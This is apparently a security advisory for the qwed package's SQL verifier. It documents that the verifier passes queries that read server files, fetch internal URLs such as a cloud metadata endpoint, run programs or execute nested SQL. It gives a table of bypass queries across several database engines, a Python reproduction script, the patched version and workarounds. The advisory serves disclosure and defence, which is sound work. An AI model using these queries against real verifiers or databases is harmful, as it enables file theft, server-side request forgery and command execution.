Impact
SQLVerifier.verify_sql (POST /verify/sql, batch SQL items) returns VERIFIED · ADMIT, and the SDK's SQLGuard.verify_query returns verified: True, for read-only SELECTs that make the database read server files, fetch URLs, run programs, call Java methods or run SQL held in a string.
GHSA-45jv-2j44-4c2q added a list of dangerous functions in 8.0.0 (DANGEROUS_SQL_FUNCTIONS, shared by both). It names PostgreSQL, SQLite, MySQL, SQL Server and Oracle functions, but not the table functions and file-as-table forms of other engines, nor a few PostgreSQL and Hive calls.
Schema for the "with a schema" column: CREATE TABLE users (id INT, name TEXT, password TEXT);
| Dialect | Query | verify_sql, no schema |
with a schema | SQLGuard verified |
|---|---|---|---|---|
| duckdb | SELECT * FROM '/etc/passwd' |
ADMIT | BLOCKED | True |
| duckdb | SELECT * FROM read_csv('/etc/passwd') (also read_text, read_blob, read_json, read_parquet, parquet_scan, glob, a URL as the table) |
ADMIT | BLOCKED | True |
| duckdb | SELECT getenv('HOME') |
ADMIT | ADMIT | True |
| clickhouse | SELECT * FROM file('/etc/passwd', 'LineAsString') |
ADMIT | BLOCKED | True |
| clickhouse | SELECT * FROM url('http://169.254.169.254/latest/meta-data/', 'LineAsString') |
ADMIT | BLOCKED | True |
| clickhouse | SELECT * FROM executable('id', 'TSV', 'x String') (also s3, remote, mysql) |
ADMIT | BLOCKED | True |
| spark, databricks | SELECT * FROM csv.`/etc/passwd` , SELECT * FROM read_files('/etc/passwd') |
ADMIT | BLOCKED | True |
| hive | SELECT reflect('java.lang.Runtime', 'getRuntime'), java_method(...) |
ADMIT | ADMIT | True |
| snowflake | SELECT $1 FROM @mystage/data.csv |
ADMIT | BLOCKED | True |
| postgres | SELECT query_to_xml('SELECT pg_read_file(''/etc/passwd'')', true, true, '') |
ADMIT | ADMIT | True |
| oracle | SELECT BFILENAME('DIR', 'x.txt') FROM dual, HTTPURITYPE(...).getclob() |
ADMIT | BLOCKED | True |
| bigquery | SELECT * FROM EXTERNAL_QUERY('conn', 'SELECT 1') |
ADMIT | BLOCKED | True |
| postgres | SELECT pg_read_file('/etc/passwd') (control) |
BLOCKED | BLOCKED | False |
The same on sqlglot 28.0.0 and 30.31.0. The verdicts were run; what each engine does with the query comes from its documentation and was not run against a live database.
With a schema, a file or URL used as a table is refused only because that "table" is not in the schema. Calls that need no table (getenv, reflect, java_method, query_to_xml) are admitted with a schema too. SQLGuard takes no schema and admits all of them. query_to_xml runs the SQL in its string argument, so every function on the list can be reached through it.
An application that runs verified SQL on one of these engines (an agent's database tool, for example) can be made to read local files, reach internal URLs such as a cloud metadata service, run the server's user scripts, or call Java methods, while the verification reports the query as safe.
Affected
qwed (PyPI) through 10.0.0. Before 8.0.0 there was no function list at all. Reproduced on main @ ec50c2ac.
Reachable from POST /verify/sql, batch SQL items, SQLVerifier.verify_sql and qwed_new.guards.sql_guard.SQLGuard.verify_query.
Reproduction
from qwed_new.core.sql_verifier import SQLVerifier
from qwed_new.core.diagnostics import admission_decision
from qwed_new.guards.sql_guard import SQLGuard
for dialect, q in [
("duckdb", "SELECT * FROM read_csv('/etc/passwd')"),
("clickhouse", "SELECT * FROM url('http://169.254.169.254/latest/meta-data/', 'LineAsString')"),
("postgres", "SELECT query_to_xml('SELECT pg_read_file(''/etc/passwd'')', true, true, '')"),
("hive", "SELECT java_method('java.lang.System', 'getenv', 'HOME')"),
]:
dr = SQLVerifier().verify_sql(q, None, dialect=dialect)
print(dialect, admission_decision(dr).value, SQLGuard().verify_query(q, dialect=dialect)["verified"])
Details
DANGEROUS_SQL_FUNCTIONS(src/qwed_new/core/sql_verifier.py:137) is a list of function names that must not be called._check_dangerous_functions(:999) andSQLGuard.verify_query(src/qwed_new/guards/sql_guard.py:72) block a query only when it calls one of them.- A list of names cannot cover every engine. Each has its own table functions (DuckDB
read_*, ClickHousefile,url,s3,remote,executable, Databricksread_files, Snowflake stages, BigQueryEXTERNAL_QUERY), and some read a file named as a table with no function at all (DuckDBFROM '/path', Sparkcsv.`/path`). - SQL held in a string is not parsed, so a function that runs it (
query_to_xml) reaches anything the list blocks.
Patches
Fixed in 11.0.0. Upgrade with pip install -U "qwed>=11.0.0". SQLVerifier and SQLGuard admit only reads of tables and of functions listed as computing only from their arguments. Table functions other than row generators, files, URLs and stages used as tables, script transforms, Spark and Hive ${...} substitution, sequences, @@ server values, schema-qualified operators, casts to types that are not built in, and functions that read files or secrets or call a model are refused. A function sqlglot does not know is refused (sql_verifier.unknown_function); SQLGuard answers EXTERNAL_READ_BLOCKED or UNKNOWN_FUNCTION_BLOCKED.
Workarounds
Pass schema_ddl to verify_sql: it refuses the file-as-table and table-function forms above, though not getenv, reflect, java_method or query_to_xml. Run verified SQL with a database user that cannot read files, reach the network or run programs (DuckDB with enable_external_access off, ClickHouse without the file, url and executable table functions, PostgreSQL without pg_read_server_files).
Advisory page: https://qwedai.tech/security/advisories/ghsa-wgcp-398q-m296
